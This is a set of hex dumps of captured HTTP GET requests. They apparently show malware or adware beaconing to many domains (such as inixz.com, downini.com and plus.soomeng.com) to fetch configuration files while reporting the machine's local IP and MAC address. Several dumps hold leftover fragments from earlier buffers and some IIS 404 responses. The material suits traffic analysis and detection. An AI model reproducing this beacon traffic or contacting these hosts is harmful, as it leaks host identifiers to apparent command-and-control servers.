0x00000060 (00096)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000070 (00112)   673a2064 65666c61 74650d0a 41636365   g: deflate..Acce
0x00000080 (00128)   70742d4c 616e6775 6167653a 207a682d   pt-Language: zh-
0x00000090 (00144)   636e0d0a 55736572 2d416765 6e743a20   cn..User-Agent: 
0x000000a0 (00160)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x000000b0 (00176)   70617469 626c653b 204d5349 4520362e   patible; MSIE 6.
0x000000c0 (00192)   303b2057 696e646f 7773204e 5420352e   0; Windows NT 5.
0x000000d0 (00208)   313b2053 56313b20 2e4e4554 20434c52   1; SV1; .NET CLR
0x000000e0 (00224)   20322e30 2e353037 32373b29 0d0a486f    2.0.50727;)..Ho
0x000000f0 (00240)   73743a20 706c7573 2e736f6f 6d656e67   st: plus.soomeng
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 69636166   .Host: plus.icaf
0x00000100 (00256)   65616473 2e636f6d 0d0a436f 6e6e6563   eads.com..Connec
0x00000110 (00272)   74696f6e 3a20436c 6f73650d 0a436163   tion: Close..Cac
0x00000120 (00288)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000130 (00304)   61636865 0d0a0d0a                     ache....

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2064 6f776e69 6e692e63   .Host: downini.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a6865 0d0a0d0a                     ..he....

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2069 6e69787a 2e636f6d   .Host: inixz.com
0x00000100 (00256)   0d0a436f 6e6e6563 74696f6e 3a20436c   ..Connection: Cl
0x00000110 (00272)   6f73650d 0a436163 68652d43 6f6e7472   ose..Cache-Contr
0x00000120 (00288)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000130 (00304)   0d0a6865 0d0a0d0a                     ..he....

0x00000000 (00000)   47455420 2f353877 616e6777 65692f61   GET /58wangwei/a
0x00000010 (00016)   6e687569 2d303030 3030312e 696e6920   nhui-000001.ini 
0x00000020 (00032)   48545450 2f312e31 0d0a5573 65722d41   HTTP/1.1..User-A
0x00000030 (00048)   67656e74 3a204d53 444e2052 6561640d   gent: MSDN Read.
0x00000040 (00064)   0a486f73 743a2064 772e7965 66622e63   .Host: dw.yefb.c
0x00000050 (00080)   6f6d0d0a 43616368 652d436f 6e74726f   om..Cache-Contro
0x00000060 (00096)   6c3a206e 6f2d6361 6368650d 0a0d0a6e   l: no-cache....n
0x00000070 (00112)   673a2064 65666c61 74650d0a 41636365   g: deflate..Acce
0x00000080 (00128)   70742d4c 616e6775 6167653a 207a682d   pt-Language: zh-
0x00000090 (00144)   636e0d0a 55736572 2d416765 6e743a20   cn..User-Agent: 
0x000000a0 (00160)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x000000b0 (00176)   70617469 626c653b 204d5349 4520362e   patible; MSIE 6.
0x000000c0 (00192)   303b2057 696e646f 7773204e 5420352e   0; Windows NT 5.
0x000000d0 (00208)   313b2053 56313b20 2e4e4554 20434c52   1; SV1; .NET CLR
0x000000e0 (00224)   20322e30 2e353037 32373b29 0d0a486f    2.0.50727;)..Ho
0x000000f0 (00240)   73743a20 696e6978 7a2e636f 6d0d0a43   st: inixz.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0d0a68    no-cache......h
0x00000130 (00304)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f353877 616e6777 65692f61   GET /58wangwei/a
0x00000010 (00016)   6e687569 2d303030 3030312e 696e6920   nhui-000001.ini 
0x00000020 (00032)   48545450 2f312e31 0d0a5573 65722d41   HTTP/1.1..User-A
0x00000030 (00048)   67656e74 3a204d53 444e2052 6561640d   gent: MSDN Read.
0x00000040 (00064)   0a486f73 743a2069 6e692e35 38717a2e   .Host: ini.58qz.
0x00000050 (00080)   636f6d0d 0a436163 68652d43 6f6e7472   com..Cache-Contr
0x00000060 (00096)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000070 (00112)   673a2064 65666c61 74650d0a 41636365   g: deflate..Acce
0x00000080 (00128)   70742d4c 616e6775 6167653a 207a682d   pt-Language: zh-
0x00000090 (00144)   636e0d0a 55736572 2d416765 6e743a20   cn..User-Agent: 
0x000000a0 (00160)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x000000b0 (00176)   70617469 626c653b 204d5349 4520362e   patible; MSIE 6.
0x000000c0 (00192)   303b2057 696e646f 7773204e 5420352e   0; Windows NT 5.
0x000000d0 (00208)   313b2053 56313b20 2e4e4554 20434c52   1; SV1; .NET CLR
0x000000e0 (00224)   20322e30 2e353037 32373b29 0d0a486f    2.0.50727;)..Ho
0x000000f0 (00240)   73743a20 696e6978 7a2e636f 6d0d0a43   st: inixz.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0d0a68    no-cache......h
0x00000130 (00304)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2069 6e696269 6e2e636f   .Host: inibin.co
0x00000100 (00256)   6d0d0a43 6f6e6e65 6374696f 6e3a2043   m..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0a6865 0d0a0d0a                     ..he....

0x00000000 (00000)   47455420 2f353877 616e6777 65692f61   GET /58wangwei/a
0x00000010 (00016)   6e687569 2d303030 3030312e 696e6920   nhui-000001.ini 
0x00000020 (00032)   48545450 2f312e31 0d0a5573 65722d41   HTTP/1.1..User-A
0x00000030 (00048)   67656e74 3a204d53 444e2052 6561640d   gent: MSDN Read.
0x00000040 (00064)   0a486f73 743a2069 6e692e65 676b6a2e   .Host: ini.egkj.
0x00000050 (00080)   636f6d0d 0a436163 68652d43 6f6e7472   com..Cache-Contr
0x00000060 (00096)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000070 (00112)   673a2064 65666c61 74650d0a 41636365   g: deflate..Acce
0x00000080 (00128)   70742d4c 616e6775 6167653a 207a682d   pt-Language: zh-
0x00000090 (00144)   636e0d0a 55736572 2d416765 6e743a20   cn..User-Agent: 
0x000000a0 (00160)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x000000b0 (00176)   70617469 626c653b 204d5349 4520362e   patible; MSIE 6.
0x000000c0 (00192)   303b2057 696e646f 7773204e 5420352e   0; Windows NT 5.
0x000000d0 (00208)   313b2053 56313b20 2e4e4554 20434c52   1; SV1; .NET CLR
0x000000e0 (00224)   20322e30 2e353037 32373b29 0d0a486f    2.0.50727;)..Ho
0x000000f0 (00240)   73743a20 696e6962 696e2e63 6f6d0d0a   st: inibin.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a0a68   : no-cache.....h
0x00000130 (00304)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2062 696e646f 776e2e63   .Host: bindown.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a6865 0d0a0d0a                     ..he....

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 7a7a696e   .Host: plus.zzin
0x00000100 (00256)   666f722e 636e0d0a 436f6e6e 65637469   for.cn..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a0d0a                     he......

0x00000000 (00000)   47455420 2f353877 616e6777 65692f61   GET /58wangwei/a
0x00000010 (00016)   6e687569 2d303030 3030312e 696e6920   nhui-000001.ini 
0x00000020 (00032)   48545450 2f312e31 0d0a5573 65722d41   HTTP/1.1..User-A
0x00000030 (00048)   67656e74 3a204d53 444e2052 6561640d   gent: MSDN Read.
0x00000040 (00064)   0a486f73 743a2064 772e7965 66622e63   .Host: dw.yefb.c
0x00000050 (00080)   6f6d0d0a 43616368 652d436f 6e74726f   om..Cache-Contro
0x00000060 (00096)   6c3a206e 6f2d6361 6368650d 0a0d0a70   l: no-cache....p
0x00000070 (00112)   20323031 35203032 3a33363a 34322047    2015 02:36:42 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 736f6f6d   .Host: plus.soom
0x00000100 (00256)   656e672e 636f6d0d 0a436f6e 6e656374   eng.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a70 3e4e6f20 73756368   che....p>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 69636166   .Host: plus.icaf
0x00000100 (00256)   65616473 2e636f6d 0d0a436f 6e6e6563   eads.com..Connec
0x00000110 (00272)   74696f6e 3a20436c 6f73650d 0a436163   tion: Close..Cac
0x00000120 (00288)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000130 (00304)   61636865 0d0a0d0a 3e4e6f20 73756368   ache....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2064 6f776e69 6e692e63   .Host: downini.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2069 6e69787a 2e636f6d   .Host: inixz.com
0x00000100 (00256)   0d0a436f 6e6e6563 74696f6e 3a20436c   ..Connection: Cl
0x00000110 (00272)   6f73650d 0a436163 68652d43 6f6e7472   ose..Cache-Contr
0x00000120 (00288)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f353877 616e6777 65692f61   GET /58wangwei/a
0x00000010 (00016)   6e687569 2d303030 3030312e 696e6920   nhui-000001.ini 
0x00000020 (00032)   48545450 2f312e31 0d0a5573 65722d41   HTTP/1.1..User-A
0x00000030 (00048)   67656e74 3a204d53 444e2052 6561640d   gent: MSDN Read.
0x00000040 (00064)   0a486f73 743a2069 6e692e35 38717a2e   .Host: ini.58qz.
0x00000050 (00080)   636f6d0d 0a436163 68652d43 6f6e7472   com..Cache-Contr
0x00000060 (00096)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000070 (00112)   673a2064 65666c61 74650d0a 41636365   g: deflate..Acce
0x00000080 (00128)   70742d4c 616e6775 6167653a 207a682d   pt-Language: zh-
0x00000090 (00144)   636e0d0a 55736572 2d416765 6e743a20   cn..User-Agent: 
0x000000a0 (00160)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x000000b0 (00176)   70617469 626c653b 204d5349 4520362e   patible; MSIE 6.
0x000000c0 (00192)   303b2057 696e646f 7773204e 5420352e   0; Windows NT 5.
0x000000d0 (00208)   313b2053 56313b20 2e4e4554 20434c52   1; SV1; .NET CLR
0x000000e0 (00224)   20322e30 2e353037 32373b29 0d0a486f    2.0.50727;)..Ho
0x000000f0 (00240)   73743a20 696e6978 7a2e636f 6d0d0a43   st: inixz.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0d0a68    no-cache......h
